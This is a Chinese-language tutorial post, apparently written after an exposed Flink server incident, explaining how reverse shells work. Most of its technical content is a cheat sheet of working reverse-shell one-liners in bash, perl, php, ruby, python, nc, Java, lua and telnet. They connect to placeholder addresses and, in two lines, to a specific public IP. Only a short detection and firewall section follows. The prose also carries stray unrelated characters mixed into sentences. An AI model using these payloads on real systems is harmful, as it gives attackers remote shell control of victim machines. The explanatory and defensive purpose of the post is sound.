背景
前段時(shí)間因?yàn)槭褂肍link默認(rèn)配置,沒(méi)有禁用通過(guò)web上傳jar包提交作業(yè)的功能,同時(shí)服務(wù)器配有公網(wǎng)地址,也沒(méi)有對(duì)相應(yīng)的端口配置防火墻盯捌,導(dǎo)致任意用戶可以通過(guò)Flink上傳jar包執(zhí)行任務(wù),并伴有反彈shell獲取shell權(quán)限的風(fēng)險(xiǎn)蘑秽。在此總結(jié)一下反彈shell饺著,加深理解。
反彈shell的作用
通常攻擊者在自己的機(jī)器去連接目標(biāo)機(jī)器(目標(biāo)IP:目標(biāo)機(jī)器端口)肠牲,叫做正向連接幼衰。如遠(yuǎn)程桌面,web服務(wù)缀雳,ssh渡嚣,telnet等等。然而在以下情況時(shí)肥印,正向連接不大適用:
1. 某客戶機(jī)中了你的網(wǎng)馬识椰,但是它在局域網(wǎng)內(nèi),你直接連接不了深碱。
2. 它的IP會(huì)動(dòng)態(tài)改變腹鹉,你不能持續(xù)控制。
3. 由于防火墻等限制莹痢,對(duì)方機(jī)器只能發(fā)送請(qǐng)求种蘸,不能接收請(qǐng)求。
4. 對(duì)于病毒竞膳,木馬航瞭,受害者什么時(shí)候能中招,對(duì)方的網(wǎng)絡(luò)環(huán)境是什么樣的坦辟,什么時(shí)候開(kāi)關(guān)機(jī)刊侯,都是未知,所以建立一個(gè)服務(wù)端锉走,讓惡意程序主動(dòng)連接滨彻,才是上策。
那么反彈就很好理解了挪蹭, 攻擊者指定服務(wù)端亭饵,受害者主機(jī)主動(dòng)連接攻擊者的服務(wù)端程序,就叫反彈連接梁厉。
反彈shell的本質(zhì)
當(dāng)目標(biāo)機(jī)器主動(dòng)連接攻擊者機(jī)器時(shí)辜羊,要實(shí)現(xiàn)對(duì)遠(yuǎn)程機(jī)器的操控,其實(shí)就是兩臺(tái)機(jī)器的通信词顾,本質(zhì)上在目標(biāo)機(jī)器上多了對(duì)通信信息的執(zhí)行過(guò)程八秃。在linux中有各種重定向的功能,目標(biāo)機(jī)器通過(guò)設(shè)置對(duì)通信內(nèi)容進(jìn)行交互執(zhí)行即完成shell反彈肉盹。如下示例:
攻擊機(jī)器上執(zhí)行:
nc -lvp 2333
受害機(jī)器上執(zhí)行:
bash -i >& /dev/tcp/192.168.146.129/2333 0>&1
bash -i 表示產(chǎn)生交互式的shell昔驱,/dev/tcp|udp/ip/port 這個(gè)文件是特別特殊的,實(shí)際上可以將其看成一個(gè)設(shè)備上忍,如果你在一方監(jiān)聽(tīng)端口的情況下對(duì)這個(gè)文件進(jìn)行讀寫(xiě)骤肛,就能實(shí)現(xiàn)與監(jiān)聽(tīng)端口的服務(wù)器的socket通信。
>&表示將標(biāo)準(zhǔn)輸出和錯(cuò)誤輸出都重定向至指定文件睡雇,0>&1表示標(biāo)準(zhǔn)輸入重定向至標(biāo)準(zhǔn)輸出萌衬。因此,受害機(jī)器上的標(biāo)準(zhǔn)輸入將通過(guò)/dev/tcp/192.168.146.129/2333文件讀取并執(zhí)行它抱,標(biāo)準(zhǔn)輸出和錯(cuò)誤輸出將寫(xiě)入/dev/tcp/192.168.146.129/2333文件秕豫。完成了shell的反彈效果。
多種反彈shell命令
本機(jī)開(kāi)啟監(jiān)聽(tīng):
nc -lvnp 4444
目標(biāo)機(jī)器開(kāi)啟反彈
bash版本:
bash-i >& /dev/tcp/10.0.0.1/4444 0>&1
perl版本:
perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
php版本:
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
ruby版本:
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
python版本:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
nc版本:
nc -e /bin/sh10.0.0.1 1234
rm/tmp/f;mkfifo/tmp/f;cat/tmp/f|/bin/sh-i 2>&1|nc 10.0.0.1 1234 >/tmp/f
nc x.x.x.x 8888|/bin/sh|nc x.x.x.x 9999
java版本:
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
lua版本:
lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"
NC版本不使用-e參數(shù):
mknod/tmp/backpipep
/bin/sh0</tmp/backpipe| nc x.x.x.x 4444 1>/tmp/backpipe
?/bin/bash-i > /dev/tcp/173.214.173.151/8080 0<&1 2>&1
?mknodbackpipe p && telnet 173.214.173.151 8080 0backpipe
檢測(cè)及預(yù)防
檢測(cè)shell反彈的總體思路如下:
1. 及時(shí)發(fā)現(xiàn)Bash進(jìn)程啟動(dòng)事件观蓄。
2. 檢查Bash進(jìn)程是否打開(kāi)了終端設(shè)備混移,是否有主動(dòng)對(duì)外連接。
總結(jié)
不管采用何種方式反彈shell都是受害機(jī)器主動(dòng)連接攻擊機(jī)器侮穿,采用socket進(jìn)行通信并交互執(zhí)行歌径。受害機(jī)器需要配好防火墻,限制端口亲茅,防范攻擊者植入反彈shell程序回铛,當(dāng)檢測(cè)出漏洞無(wú)法確定時(shí)及時(shí)備份數(shù)據(jù)重裝系統(tǒng)狗准。
參考鏈接
https://xz.aliyun.com/t/2549
http://ijianbian.com/home/post/detail?id=6202977
https://4hou.win/wordpress/?p=25737